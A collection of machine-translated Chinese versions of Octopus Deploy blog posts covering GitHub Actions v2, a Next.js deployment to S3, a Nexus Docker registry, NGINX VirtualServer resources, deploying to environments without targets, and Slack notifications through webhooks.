在查看了数百个公共存储库之后，我们发现我们提供的参数中只有不到一半在工作流中使用。这些参数中有许多是为了支持 Octopus CLI 而提供的，但是它们并没有在 GitHub 工作流上下文中使用。因此，我们删除了这些参数以提高可用性。
我们现在还支持对上下文值使用环境变量。我们继续鼓励使用机密来保护敏感值。
-name: Create a release in Octopus Deploy 🐙
uses: OctopusDeploy/create-release-action@v2
env:
OCTOPUS_API_KEY: ${{ secrets.API_KEY }}
OCTOPUS_HOST: ${{ secrets.SERVER }}
OCTOPUS_SPACE: 'Spaces-1'
with:
project: 'MyProject'
我们 GitHub 动作的所有 READMEs 都已经更新到记录这些变化以及我们支持的环境变量。
推送构建信息操作
构建信息是 Octopus Deploy 一个重要特性，它驱动了许多部署后功能。在针对 Octopus Deploy v2 的 GitHub Actions 中，我们添加了对通过新动作发送构建信息的支持，推送-构建-信息-动作。
这个 GitHub 动作允许您向 Octopus 提供详细的提交、构建和发布跟踪信息，这些信息可以作为发行说明出现。您可以使用此功能与每个生产部署的利益相关者共享发行说明，并在尝试隔离特定版本中引入的 bug 时，跟踪从部署到构建和提交的链接。
env:
OCTOPUS_API_KEY: ${{ secrets.OCTOPUS_API_KEY }} # API key used with Octopus Deploy
OCTOPUS_HOST: ${{ secrets.OCTOPUS_HOST }} # address of Octopus Deploy
OCTOPUS_SPACE: '[space-name-or-space-id]'
steps:
-uses: actions/checkout@v2
-name: Push build information to Octopus Deploy 🐙
uses: OctopusDeploy/push-build-information-action@v1
with:
packages: '[package-id]'
version: '[version-of-packages]'
仔细观察上面的 YAML，可以发现它对 Octopus CLI 没有依赖性。那是因为这个动作第一次使用了我们的 TypeScript API 客户端库。
工作摘要
GitHub 在 2022 年 5 月宣布了 GitHub 行动的工作总结，我们想要支持它。以前，动作输出仅限于日志和注释，很难对大量信息进行聚合和分组。
使用 Octopus Deploy v2 的 GitHub Actions，您可以看到由创建-发布-操作和推送-打包-操作生成的作业摘要，这样更容易理解:
结论
用于 Octopus Deploy v2 的 GitHub Actions 现已推出。更新包括 SemVer 发布标签支持、改进的可用性、新的推送构建信息步骤和对作业摘要的支持。
我们希望你喜欢我们为 Octopus Deploy v2 在 GitHub Actions 中所做的更改。
愉快的部署！
新标志-八达通展开
当我第一次开始构建 Octopus Deploy 时，我在 iStockPhoto 中搜索 Octopus 图片，并看到了这张图片:
该图像中的颜色成为 Octopus Deploy 第一个测试版的配色方案:
不过，我需要一个可以用在顶角的小 logo，所以我让我姐姐设计了一个 logo。这个标志成为了我们从 beta 版开始使用的标志:
我觉得这个标志对于 1.0 版本来说已经足够好了，我喜欢这个笑脸。事实上，一个客户甚至建议在发布失败或服务器崩溃时使用“皱眉”这个标志，所以我们在几个发布之前就添加了这个标志。
尽管笑脸很好看，但是对于“专业”产品来说，它总是感觉有点太卡通化了，并且在小尺寸时缩放不太好。章鱼正在成长，所以我们请来了科里·金尼万来给它改头换面。不多说了，我很自豪地宣布新的章鱼标志！
带有 Next.js、GitHub 操作和 Octopus Deploy - Octopus Deploy 的 CI/CD
原文：https://octopus.com/blog/nextjs-github-actions-and-octopus-deploy
像 Next.js 和这样的流行框架创建了 React App 支持将你站点的资产捆绑到文件中的特性，但是将这些资产部署到 web 服务器的某个地方取决于你。在这篇文章中，我将使用 GitHub Actions 捆绑一个 Next.js 博客，并使用 Octopus Deploy 将其部署到 AWS S3 。
我们项目的源代码可以在我们的 Octopus Sample GitHub repo 中找到。
构建和打包
在我们可以使用 Octopus 部署我们的博客之前，我们需要打包站点并将其推送到一个包存储库中。打包我们的站点是构建部署管道的一部分，你可以在文章打包 Node.js 应用中读到更多关于它为什么重要的信息。
为了简单起见，我们将使用 Octopus 的内置存储库中的。由于我们的项目已经托管在 GitHub 上，让我们设置一个 GitHub 动作来帮助我们创建我们的包。我们的工作流应该是这样的:
对于我们的main分支的每次推送，我们将:
- 检查源代码。
- 运行
npm ci来获取我们的node_modules依赖项(这一步隐含的是在我们的 Actions 环境中设置 node.js)。 - 用新的版本号标记我们的提交。
- 使用
next export来生成我们的静态资产文件。 - 将这些资产打包到我们的产品包中。
- 最后，将我们的包推送到 Octopus 内置的存储库中。
让我们从 GitHub 动作模板开始，它检查我们的源代码，运行npm ci，并生成我们的资产:
// main.yml - https://github.com/OctopusSamples/nextjs-blog/blob/main/.github/workflows/main.yml
on:
push:
branches:
- main
jobs:
release:
name: Create Release
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v2
- name: Setup Node.js
uses: actions/setup-node@v2
run: |
npm ci
npm run export
npm run export在我们的 package.json 文件中运行下面的 npm 脚本:
"scripts": {
"build": "next build",
"export": "next build && next export"
},
有关next export的更多信息，请参见 next.js 文档。
这是一个好的开始，但是现在我们需要一些方法来为我们的包创建新的版本号。
语义发布标签
Octopus 内置提要中的每个包都需要一个 ID 和一个版本号，因此文件名使用这种格式ID.version.ext。例如:nextjs-blog.0.1.0.zip。版本号必须是有效的语义版本。您可以在每次想要发布时手动标记您的发布，但是这很耗时并且需要人工。如果您想要自动化这个过程，那么用自制的解决方案构建逻辑来生成新的、有效的语义版本是具有挑战性的。幸运的是，有一个叫做语义发布的优秀开源项目可以做到这一点。
语义发布基于一些预定义的约定评估我们的提交消息。根据我们最近提交消息的格式，在找到最新版本并相应地更新主要版本、次要版本或补丁版本后，库将生成下一个适当的语义版本。这个库的细节超出了本文的范围，但是如果您以前从未使用过它，一定要看看这个项目。
甚至有一个社区为语义发布贡献了 GitHub 行动。让我们使用这个项目来自动生成我们的新版本，并标记我们的提交:
...
- name: Tag and Create Release
id: semantic
uses: cycjimmy/semantic-release-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
因为我们的主 git 分支被命名为main，我们需要在我们的package.json中进行一小段配置来告诉语义发布只评估对main分支的提交:
"release": {
"branches": [
"main"
]
}
现在我们已经构建并标记了我们的新版本，是时候创建我们的包并将其发布到 Octopus 了。
用 octopackjs 打包并发布
如果您曾经尝试过用普通的 ol' npm 创建包，这可能会非常令人沮丧。
npm pack命令暴露的 CLI 参数非常少。- 您不能显式定义生成的包的名称。
- 包的版本必须来自
package.json中的version键，并且不能被 CLI 参数覆盖。 - 你的包根必须包含
package.json文件。 - 您不能轻易地定义最终出现在您的包中的目录结构。
这看起来好像 npm 是专门为打包您的包而设计的，以供其他 npm 项目使用——而不是为部署。
octopackjs 是一个由 Octopus 维护的开源项目，旨在将你的包打包并推送到 Octopus 服务器。运行npm run export之后，Next.js 将我们的静态资产文件放在一个名为out的目录中。让我们使用 octopackjs 编写一个小节点脚本来打包该目录并将其推送到我们的 Octopus 服务器:
// publish.js - https://github.com/OctopusSamples/nextjs-blog/blob/main/publish.js
const octo = require('@octopusdeploy/octopackjs');
const octopusUrl = 'https://samples.octopus.app';
octo.pack()
.appendSubDir('out', true)
.toFile('.', (err, data) => {
console.log('Package Saved: ' + data.name);
octo.push(data.name, {
host: octopusUrl,
apikey: 'MY-API-KEY',
spaceId: 'Spaces-604',
replace: true
},
err => err ? console.error(err.body) : console.log('Package Pushed to ' + octopusUrl));
});
参见我们的文档，了解如何创建 API 键用于 Octopus Deploy。有安全意识的读者可能会马上注意到，我的 API 键似乎是直接硬编码到我们的脚本中的，这是一个很大的错误！让我们在这里使用一个环境变量:
octo.push(data.name, {
...
apikey: process.env.OCTOPUS_APIKEY,
...
我们可以在 GitHub Actions 中使用加密的秘密注入这个环境变量。首先，我们将把我们的OCTOPUS_APIKEY秘密添加到我们的存储库中(按照动作文档中的说明):
接下来，我们将在main.yml GitHub 动作模板中引用我们的秘密:
...
- if: steps.semantic.outputs.new_release_published == 'true'
name: Publish Package
env:
OCTOPUS_APIKEY: ${{ secrets.OCTOPUS_APIKEY }}
run: |
npm ci
npm run export
OCTOPUS_APIKEY="$OCTOPUS_APIKEY" node publish.js
既然我们已经建立了我们的行动，让我们提交，推动，看着它去！
在这个例子中，我们从 GitHub Actions 向 https://samples.octopus.app 的 Octopus Cloud 实例推送包。如果你正在运行一个不能从 github.com 公开访问的 Octopus 服务器，你可能会考虑推送到一个第三方的包存储库(例如 Artifactory，Nexus ),并通过将它设置为一个外部 feed 或使用一个本地 GitHub Actions runner(如本文帖子中所解释的),让你的 Octopus 服务器从该存储库中拉出。
部署
既然我们已经建立了持续集成流程，那么是时候部署我们的网站了。我们将使用 Octopus Deploy 将我们的包上传到 AWS S3。方便的是，它已经有一个为此设计的内置步进模板。对于像我们在这里建立的这样的静态内容网站，S3 桶是一个很好的选择，因为它们需要很少的配置(不需要安装和配置 web 服务器)，价格便宜，当然你也可以从 AWS 云平台的可靠性中受益。
AWS S3
设置一个 S3 桶是非常简单的，有很多教程可以帮助你，所以我不会在这里一步一步地讲解。我强烈建议遵循 AWS 文档，特别是针对使用亚马逊 S3 托管静态网站的。
Octopus 需要一个 AWS 访问密钥来上传包到你的 S3 桶。建立一个单独的 IAM 用户对您的新 bucket 拥有明确的权限是一个好主意(尽管不是强制性的)。有关管理 IAM 用户访问密钥的帮助，请参见本页。
将您的访问密钥 ID 和密钥秘密保存在安全且可访问的地方。我们需要这两个值来在 Octopus Deploy 中设置我们的 AWS 帐户
章鱼部署
在 Octopus Accounts 部分，创建一个新的 AWS 帐户。我希望我的帐户名称匹配或引用 AWS IAM 用户的名称:
接下来，让我们创建一个名为nextjs-blog的新 Octopus 项目:
为了在我们的nextjs-blog项目中使用我们的 AWS 帐户，我们需要在我们项目的 variables 部分创建一个 AWS 帐户变量:
最后，让我们通过将上传包添加到 AWS S3 存储桶步骤来创建项目中的唯一步骤:
配置这一步很简单。您可以跟随我们的文档，其中解释了步骤模板选项和更多信息的链接。
注意包目标选项。默认情况下，该步骤设置为部署整个包文件，而不提取它。我们的资产文件就在包里，我们需要把它们提取出来，放在水桶的根部，让 S3 为它们服务。为此，请按照下列步骤操作:
- 在包选项中选择特定文件。
- 点击添加文件选择。
- 选择多档(相对于单档)。
默认文件模式**/*将选择我们包中的所有文件和目录，这正是我们想要的。
- 接下来，输入一个
Canned Acl。在这里阅读更多关于这些的内容。对于我的设置，我使用了bucket-owner-full-control
最后，创建一个发布，交叉手指，然后部署！
如果一切顺利，我们会在这里看到我们的网站:http://octopus-nextjs-sample . S3-website-us-west-2 . Amazon AWS . com/
结论
在 GitHub 上查看该项目的源代码，您还可以在我们的 Octopus 部署示例空间中查看部署项目。
如果你想使用 SSL 证书为你的网站提供服务，请查看 AWS CDN 产品 CloudFront 。
如果你有一个大得多的 Next.js 站点，并且生成静态资产不切实际，Next.js 还支持用 Node.js 的动态后端为你的应用服务。参见这个伟大的数字海洋教程为你的 Next.js 应用程序设置这种部署。
感谢您的阅读，祝您部署愉快！
使用带有 Octopus Deploy - Octopus Deploy 的 Nexus Docker 注册表
原文：https://octopus.com/blog/nexus-docker-external-feed-with-octopus
将 Docker Hub 连接到 Octopus Deploy 非常简单，然而，并不是每个人都想使用公开可用的 Docker 注册中心。在这些情况下，您可以使用存储库软件，如 JFrog Artifactory 或 Sonatype Nexus 。JFrog 和 Sonatype 都有开源软件(OSS)版本，但是，JFrog 的 OSS 版本中没有 Docker registry repository 类型。在这篇文章中，我演示了如何在 Nexus 中创建 Docker 注册表并将其连接到 Octopus Deploy。
关系
付费版本包括高可用性(HA)、动态存储和更好的身份验证集成等功能，但总体操作功能在 OSS 版本中全部开启。
创建 Docker 注册表
在 Nexus 中创建 Docker 注册库非常容易。登录 Nexus 并导航至服务器管理选项卡(齿轮图标):
从这里，点击左边的存储库选项卡，然后点击创建存储库。
选择 **docker(托管)**仓库类型:
这部分流程不同于其他存储库类型，比如 NuGet 和 Maven 2。而其他两个使用https://ServerUrl/repository/RepositoryName，Nexus Docker 注册表需要一个端口分配。在这个例子中，我使用了端口8443，这将在我们标记图像时变得很重要。
您可以接受其余选项的默认值。完成后，单击页面底部的创建存储库按钮。
标记图像
为了将 docker 图像上传到我们的 Nexus Docker 注册表，我们必须对图像进行适当的标记。这是通过以下标记方案实现的:ServerUrl:Port/ImageName:Version。例如:
nexus.octopusdemos.app:8443/pitstop-auditlogservice:1.0.0.0
注意标签中没有存储库名称nexus-docker。这就是端口名称很重要的地方，因为它标识了上传到 Nexus 时它将属于哪个注册表。
连接到 Octopus 部署
当将其他存储库类型连接到 Octopus Deploy 时，只需通过 Nexus 中的 Copy URL 按钮提供 URL:
虽然我们的 Docker 注册中心有这个按钮，但这不是我们用 Octopus Deploy 连接到存储库的方式。
当在 Octopus Deploy 中创建外部 feed 并测试它时，使用该页面的 URL 会产生误报。端点将响应一条成功消息，甚至提供搜索结果，但是当您试图在部署过程中使用它时，它将失败。
创建外部提要
要在 Octopus Deploy 中创建外部提要，请单击库选项卡，然后单击外部提要，并单击添加提要按钮。
为外部馈送输入以下信息:
- 提要类型:Docker 容器注册表。
- 名称:给它一个描述性的名称。
- URL: https://ServerUrl:Port(例如 https://nexus . octopus demos . app:8443)。
- 注册表路径:留空。
- 凭据:如果需要，请输入凭据:
完成后点击保存并测试。
输入图像名称(支持部分名称)并点击搜索以验证连接是否正常工作。
结论
Nexus 有一种独特的方式将 Docker 注册中心作为存储库类型来处理。在这篇文章中，我演示了创建注册中心并将其连接到 Octopus Deploy 的必要性。
看看新的 NGINX 虚拟服务器和虚拟服务器路由资源——Octopus Deploy
Kubernetes Ingress资源提供了一种配置传入 HTTP 流量的方式，并使得通过单个公共 IP 地址公开多个服务变得容易。
NGINX 长期以来一直提供最受欢迎的入口控制器之一，但任何超过概念部署证明的东西都不可避免地意味着定制超越由Ingress资源公开的标准属性的路由规则。
直到最近，解决方案还是通过注释或在 configmaps 中提供配置块来定义这些附加设置。但是在 1.5 版本中，NGINX 入口控制器提供了两个自定义资源定义(CRD)，定义了比基线Ingress资源更复杂的网络规则。
在本帖中，我们将探索由VirtualServer和VirtualServerRouteCRD 提供的一些新功能。
Kubernetes 星团样本
对于这篇博客，我使用了与 Docker 桌面捆绑在一起的 Kubernetes 发行版:
然后，我部署了为 Istio 博客系列创建的示例应用程序，它可以安装在:
kubectl apply -f https://raw.githubusercontent.com/mcasperson/NodejsProxy/master/kubernetes/example.yaml
生成的群集如下所示:
我用 Helm 安装了 NGINX，但是并没有想象中那么容易。GitHub 文档会把你带到 https://helm.nginx.com/edge T2 的 Helm repo，这个对我来说是失败的。来自 https://kubernetes-charts.storage.googleapis.com/[官方舵手库的图表不包括 CRDs。](https://kubernetes-charts.storage.googleapis.com/)
解决方案是克隆 NGINX Git repo 并从本地文件安装 Helm chart。这些命令适用于 Helm 3:
git clone https://github.com/nginxinc/kubernetes-ingress/
cd kubernetes-ingress/deployments/helm-chart
helm install nginx-release .
一个基本的 NGINX 虚拟服务器
我们将从一个基本的VirtualServer资源开始来公开代理。
apiVersion: k8s.nginx.org/v1
kind: VirtualServer
metadata:
name: virtualserver
spec:
host: localhost
upstreams:
- name: proxy
service: proxy
port: 80
routes:
- path: /
action:
pass: proxy
upstreams属性定义了流量可以发送到的服务。在这个例子中，我们将流量定向到proxy服务。
routes匹配传入的请求并执行相应的动作。通常情况下，操作是将流量定向到上游服务器，我们已经用action.pass: proxy配置做到了这一点。
这个VirtualServer复制了我们在Ingress资源中定义的功能，一旦部署到集群，我们就可以打开 http://localhost/whatever/you/want 查看代理 web 应用程序。
自定义操作
当我们开始挖掘VirtualServer公开的新功能时，事情变得有趣了。
VirtualServer可以将客户端重定向到一个新的 URL，而不是将请求传递给上游服务。在这里，我们将流量引导回 NGINX 主页:
apiVersion: k8s.nginx.org/v1
kind: VirtualServer
metadata:
name: virtualserver
spec:
host: localhost
routes:
- path: /
action:
redirect:
url: http://www.nginx.com
code: 301
在这个例子中，我们定义了在VirtualServer资源中直接返回的内容。这对测试来说非常好:
apiVersion: k8s.nginx.org/v1
kind: VirtualServer
metadata:
name: virtualserver
spec:
host: localhost
routes:
- path: /
action:
return:
code: 200
type: text/plain
body: "Hello World\n"
流量分流
通过将一定比例的流量定向到新服务，流量分割可用于 canary 部署。这里我们配置VirtualServer将流量传递给 web 服务器服务，在webserverv1和webserverv2之间分流流量。
apiVersion: k8s.nginx.org/v1
kind: VirtualServer
metadata:
name: virtualserver
spec:
host: localhost
upstreams:
- name: webserverv1
service: webserverv1
port: 80
- name: webserverv2
service: webserverv2
port: 80
routes:
- path: /
splits:
- weight: 80
action:
pass: webserverv1
- weight: 20
action:
pass: webserverv2
负载平衡
在 iptables 代理模式中，服务可用的端点是随机选择的。如果您查看上面的图表，webserver服务将流量同时定向到webserverv1和webserverv2部署，因此webserver服务的流量将在所有 pod 之间随机分配。
NGINX 允许我们指定用于将流量导向上游服务的负载平衡规则。在下面的例子中，我们将lb-method属性设置为ip_hash负载平衡算法，确保客户端总是被发送到同一个后端 pod:
apiVersion: k8s.nginx.org/v1
kind: VirtualServer
metadata:
name: virtualserver
spec:
host: localhost
upstreams:
- name: webserver
service: webserver
port: 80
lb-method: ip_hash
routes:
- path: /
action:
pass: webserver
超时、重试和保持活动
连接超时、重试和保持活动等低级配置细节过去被定义为Ingress资源上的注释。有了VirtualServer资源，这些设置现在被公开为一级属性:
apiVersion: k8s.nginx.org/v1
kind: VirtualServer
metadata:
name: virtualserver
spec:
host: localhost
upstreams:
- name: webserver
service: webserver
port: 80
fail-timeout: 10s
max-fails: 1
max-conns: 32
keepalive: 32
connect-timeout: 30s
read-timeout: 30s
send-timeout: 30s
next-upstream: "error timeout non_idempotent"
next-upstream-timeout: 5s
next-upstream-tries: 10
client-max-body-size: 2m
routes:
- path: /
action:
pass: webserver
添加虚拟服务器路由
VirtualServer资源可以将请求委托给VirtualServerRoute。这允许主VirtualServer资源配置顶级流量规则，而VirtualServerRoute资源处理更具体的路由规则。
在下面的例子中，请求被发送到一个VirtualServerRoute资源，它根据路径从三个可能的上游服务中选择一个:
apiVersion: k8s.nginx.org/v1
kind: VirtualServer
metadata:
name: virtualserver
spec:
host: localhost
routes:
- path: /
route: virtualserverroute
---
apiVersion: k8s.nginx.org/v1
kind: VirtualServerRoute
metadata:
name: virtualserverroute
spec:
host: localhost
upstreams:
- name: proxy
service: proxy
port: 80
- name: webserverv1
service: webserverv1
port: 80
- name: webserverv2
service: webserverv2
port: 80
subroutes:
- path: /webserverv1
action:
pass: webserverv1
- path: /webserverv2
action:
pass: webserverv2
- path: /
action:
pass: proxy
结论
入口控制器最初是 Kubernetes 生态系统中的一个家庭手工业，但随着每个提供商通过新的配置选项和功能在竞争中脱颖而出，添加到Ingress资源的注释使它们变得笨重和不可移植。
通过实现 CRDs，NGINX 公开了具有可验证属性的高级功能。我希望这些 CRD 会随着更多的常见用例的确定而进一步丰富。
部署到无目标- Octopus 部署
作为 Octopus Deploy 3.8.7 的一部分，我们发布了一个与弹性和瞬态环境相关的新特性，我们认为这是值得一提的。
允许部署到无目标
该特性的核心是一个项目级设置，可以选择在没有目标的环境中执行部署。
这为什么有用？
弹性和瞬态环境的基本前提是确保部署到环境中所有目标的版本是相同的，包括上线的新目标。这种机制的关键是成功地部署到环境中，以便知道将哪个版本部署到其他目标。但是，为了在环境中进行部署，您必须至少有一个健康的目标，这有其局限性。
如果您正在构建一个新的环境会怎么样？(例如，对于基础架构/测试自动化)在基础架构部署完全完成之前，您不能开始部署。如果您的部署过程包括提供将被后续步骤使用的基础设施的步骤，会怎么样？根据定义，目标在部署开始前是不存在的。
如果在您想要将升级部署到某个环境时，临时机器碰巧都处于离线状态，该怎么办？是的，在某些情况下这是有效的，例如，您正在部署一批移动设备，而在您想要部署新版本时，这些设备中没有一个是对接的/在线的。
我如何使用这项新功能？
上面屏幕截图中显示的设置将允许您在环境中没有目标时创建部署。这基本上就是你所需要的，但是在大多数情况下，你可能希望将这与使用触发器结合起来。
如果您使用的是不可变的基础设施，那么如果您想将基础设施供应步骤和应用程序部署步骤合并到一个项目中，这个特性将非常有用。
你必须选择加入！
Octopus 不想让你部署到没有目标的环境中。对于我们的绝大多数客户来说，我们仍然认为部署到没有目标的环境是一个错误，我们将继续这样对待它，直到用户有意识地表示可以这样做。
自动部署覆盖
对于那些没有见过或使用过自动部署覆盖功能的人来说，这是一个命令行选项，可以手动覆盖将部署到给定环境/租户的版本。当您想要将一个环境/租户锁定到一个特定的版本，而不是让他们总是接收最新的成功发布时，这是非常有用的。
以前，版本覆盖是处理没有目标的环境中的部署的推荐选项，因为它可以在没有现有部署的情况下定义。当新的目标出现在环境中时，自动部署触发器将被触发，并且部署指定版本的任务将被排队。既然可以将版本部署到没有目标的环境中，这种自动部署覆盖的使用场景就不再必要了。
为每个生产部署添加通知- Octopus Deploy
原文：https://octopus.com/blog/notifications-with-subscriptions-and-webhooks
介绍
你好。在最近一集的问章鱼中，我谈到了如何使用章鱼订阅和自定义 webhooks 来解决许多问题。我展示了为每个生产部署发送松弛通知的用例。我想更详细地探索这个想法，这促使我写了这篇文章。因此，让我们开始为我们所有的生产部署设置延迟通知。
设置
我有六个现有的项目，它们的流程中没有内置任何通知。项目的数量在这里并不重要。无论您有一个项目还是数百个项目，同样的方法都适用。
Webhook
出于两个原因，我将从配置 webhook 开始。第一个原因是我需要一个 webhook URL 来配置订阅。第二，我想使用 webhook 来检查有效负载，这样我就知道会出现什么数据。我将从一个简单的函数开始，它接受 web 请求并记录请求的主体。在这个演示中，我使用 Firebase 云函数作为我的端点。
exports.logOctopusEvent = functions.https.onRequest((req, res) => {
console.log(JSON.stringify(req.body));
return res.status(200).end();
});
签署
我们已经有了一个基本的 webhook，所以让我们设置订阅并运行部署。
我选择了三个应该发送到 webhook 进行处理的事件类别:部署开始、部署成功和部署失败。我还将环境过滤器设置为仅生产。当您第一次配置 webhook 时，您可能会选择在构建逻辑时首先将其限制在开发或测试环境中。
我还将有效负载 URL 设置为我的 webhook 的 URL。
有效载荷
在运行一个部署之后，我从函数日志中提取了有效负载体。这里有很多信息，包括触发请求的订阅的详细信息。
我们最感兴趣的信息在有效载荷中。活动部分。特别是，我们将使用类别、消息和相关文档 id。
{
"Timestamp": "2019-04-26T18:37:44.1581725+00:00",
"EventType": "SubscriptionPayload",
"Payload": {
"ServerUri": "https://myoctopusurl",
"ServerAuditUri": "https://myoctopusurl/#/configuration/audit?environments=Environments-246&eventCategories=DeploymentFailed&eventCategories=DeploymentStarted&eventCategories=DeploymentSucceeded&from=2019-04-26T18%3a37%3a12.%2b00%3a00&to=2019-04-26T18%3a37%3a42.%2b00%3a00",
"BatchProcessingDate": "2019-04-26T18:37:42.7832114+00:00",
"Subscription": {
"Id": "Subscriptions-161",
"Name": "Production Deployments",
"Type": 0,
"IsDisabled": false,
"EventNotificationSubscription": {
"Filter": {
"Users": [],
"Projects": [],
"Environments": [
"Environments-246"
],
"EventGroups": [],
"EventCategories": [
"DeploymentFailed",
"DeploymentStarted",
"DeploymentSucceeded"
],
"EventAgents": [],
"Tenants": [],
"Tags": [],
"DocumentTypes": []
},
"EmailTeams": [],
"EmailFrequencyPeriod": "01:00:00",
"EmailPriority": 0,
"EmailDigestLastProcessed": null,
"EmailDigestLastProcessedEventAutoId": null,
"EmailShowDatesInTimeZoneId": "UTC",
"WebhookURI": "https://mywebhookurl/logOctopusEvent",
"WebhookTeams": [],
"WebhookTimeout": "00:00:10",
"WebhookHeaderKey": null,
"WebhookHeaderValue": null,
"WebhookLastProcessed": "2019-04-26T18:37:12.4560433+00:00",
"WebhookLastProcessedEventAutoId": 187275
},
"SpaceId": "Spaces-83",
"Links": {
"Self": {}
}
},
"Event": {
"Id": "Events-189579",
"RelatedDocumentIds": [
"Deployments-15970",
"Projects-670",
"Releases-6856",
"Environments-246",
"ServerTasks-318123",
"Channels-690",
"ProjectGroups-302"
],
"Category": "DeploymentStarted",
"UserId": "users-system",
"Username": "system",
"IsService": false,
"IdentityEstablishedWith": "",
"UserAgent": "Server",
"Occurred": "2019-04-26T18:37:34.3616214+00:00",
"Message": "Deploy to Prod (#3) started for Accounting Database release 10.33.210 to Prod",
"MessageHtml": "<a href='#/deployments/Deployments-15970'>Deploy to Prod (#3)</a> started for <a href='#/projects/Projects-670'>Accounting Database</a> release <a href='#/releases/Releases-6856'>10.33.210</a> to <a href='#/environments/Environments-246'>Prod</a>",
"MessageReferences": [
{
"ReferencedDocumentId": "Deployments-15970",
"StartIndex": 0,
"Length": 19
},
{
"ReferencedDocumentId": "Projects-670",
"StartIndex": 33,
"Length": 19
},
{
"ReferencedDocumentId": "Releases-6856",
"StartIndex": 61,
"Length": 9
},
{
"ReferencedDocumentId": "Environments-246",
"StartIndex": 74,
"Length": 4
}
],
"Comments": null,
"Details": null,
"SpaceId": "Spaces-83",
"Links": {
"Self": {}
}
},
"BatchId": "e6df5aae-a42a-4bd8-8b0d-43065f82d5f0",
"TotalEventsInBatch": 1,
"EventNumberInBatch": 1
}
}
Webhook 重访
初始 webhook 已配置。订阅正在向它发送事件。让我们给函数添加一些真正的逻辑。
首先，我们检查是否有有效载荷。如果我们没有，我们会发回一个错误的请求响应。
然后，我们提取订阅名称和消息，并使用它来创建一个 Slack 消息。
exports.logOctopusEvent = functions.https.onRequest((req, res) => {
const payload = req.body.Payload;
if (payload) {
return sendSlackMessage({
"text": payload.Event.Message,
"username": `Octopus Subscription: ${payload.Subscription.Name}`
}).then(() => {
return res.status(200).send();
});
}
else {
console.warn('No payload provided');
return res.status(400).send('No payload provided');
}
});
在推动该变更并触发另一个部署后，我们会收到一些渠道通知！
路由和样式消息
默认情况下，我们的 Slack webhook 向#octopus-deployments 通道发送消息。但是，如果我们想根据项目向不同的通道发送通知，该怎么办呢？
我们可以从相关的文档 ID 中提取项目 ID。
const projectId = payload.Event.RelatedDocumentIds.find(id => id.startsWith('Projects-'));
我们可以创建一个从项目 ID 到应该使用的通道的映射。
const projectToChannel = {
"Projects-670": "#accounting_dev",
"Projects-665": "#accounting_dev",
"Projects-668": "#expense_dev",
"Projects-667": "#expense_dev",
"Projects-669": "#hr_dev",
"Projects-666": "#hr_dev"
};
然后为我们松弛函数提供通道。
return sendSlackMessage({
"channel": projectToChannel[projectId],
"text": payload.Event.Message,
"username": `Octopus Subscription: ${payload.Subscription.Name}`
}).then(() => {
return res.status(200).send();
});
太好了！现在，让我们使用类别为我们的消息添加一些特色。与我们设置频道映射的方式相同，我们可以设置从类别到表情符号的映射。
const categoryToEmoji = {
"DeploymentStarted": ":octopusdeploy:",
"DeploymentFailed": ":fire:",
"DeploymentSucceeded": ":tada:"
}
然后使用该映射来选择表情符号并将其添加到我们的信息中。
const projectId = payload.Event.RelatedDocumentIds.find(id => id.startsWith('Projects-'));
const channel = projectToChannel[projectId];
const emoji = categoryToEmoji[payload.Event.Category];
return sendSlackMessage({
"channel": channel,
"text": `${emoji} ${payload.Event.Message} ${emoji}`,
"username": `Octopus Subscription: ${payload.Subscription.Name}`
}).then(() => {
return res.status(200).send();
});
您甚至可能想要获取 DeploymentFailed 类别，并向用户发送一些直接消息或发送一条文本消息或电子邮件。我们将把那个实验留到改天。
整理
我将映射存储在数据库中，并在函数运行时获取它们。代码开始变得相当繁忙，所以让我们开始将这些函数分开，并在管道中调用它们。
function getPayload([req, res]) {
const payload = req.body.Payload;
if (payload) {
return Promise.resolve(payload);
}
return Promise.reject({
code: 400,
message: 'No payload provided'
});
}
function loadMappings(payload) {
if (categoryToEmojiMapping && projectToChannelMapping) {
return Promise.resolve([payload, categoryToEmojiMapping, projectToChannelMapping]);
}
const collection = db.collection("mappings");
const categoryToEmojiPromise = collection.doc('categoryToEmoji').get();
const projectToChannelPromise = collection.doc('projectToChannel').get();
return Promise.all([categoryToEmojiPromise, projectToChannelPromise])
.then(([categoryToEmojiDoc, projectToChannelDoc]) => {
categoryToEmojiMapping = categoryToEmojiDoc.data();
projectToChannelMapping = projectToChannelDoc.data();
return [payload, categoryToEmojiMapping, projectToChannelMapping];
});
}
function createSlackOptions([payload, categoryToEmoji, projectToChannel]) {
const projectId = payload.Event.RelatedDocumentIds.find(id => id.startsWith('Projects-'));
const channel = projectToChannel[projectId];
const emoji = categoryToEmoji[payload.Event.Category];
return {
"channel": channel,
"text": `${emoji} ${payload.Event.Message} ${emoji}`,
"username": `Octopus Subscription: ${payload.Subscription.Name}`
};
}
function sendSlackMessage(options) {
const slackUri = functions.config().slack.uri;
const requestOptions = {
method: 'POST',
uri: slackUri,
body: {
"channel": options.channel,
"username": options.username,
"icon_emoji": ":octopusdeploy:",
"text": options.text
},
json: true
}
return rp(requestOptions);
}
exports.logOctopusEvent = functions.https.onRequest((req, res) => {
return getPayload([req, res])
.then(loadMappings)
.then(createSlackOptions)
.then(sendSlackMessage)
.then(() => { return res.status(200).send(); });
});
完美！这段代码看起来好多了。
批准
我们还没有解决 webhook 的授权问题。目前，任何人都可以发送与我们期望的结构相匹配的请求。那是因为我用的是公共 Firebase 云功能。如果你使用的是内部服务或托管服务，但访问被锁定，你可能不会太担心这部分。
我们可以通过在请求中添加一个包含我们在 webhook 端信任的授权令牌的头来解决这个问题。
我把我的头命名为 octolog-token，但是你可以随意命名。您甚至可以选择使用像 Authorization 这样的标准头名称。这里还需要注意的是，头值是以纯文本形式存储的。在决定使用什么标题值以及授予什么团队对订阅的访问权限时，您需要记住这一点。
让我们添加一个函数来处理授权，并将其插入到我们的管道中。
function authorizeRequest(req, res) {
const providedToken = req.get('octolog-token');
const token = functions.config().octolog.authtoken;
if (!providedToken || providedToken !== token) {
return Promise.reject({
code: 401,
message: 'Missing or invalid token'
});
}
return Promise.resolve([req, res]);
}
exports.logOctopusEvent = functions.https.onRequest((req, res) => {
return authorizeRequest(req, res)
.then(getPayload)
.then(loadMappings)
.then(createSlackOptions)
.then(sendSlackMessage)
.then(() => { return res.status(200).send(); });
});
现在，没有报头或带有无效令牌的请求将被拒绝。
一个事件只处理一次
我想从我们的订阅文档中调出这个提示。
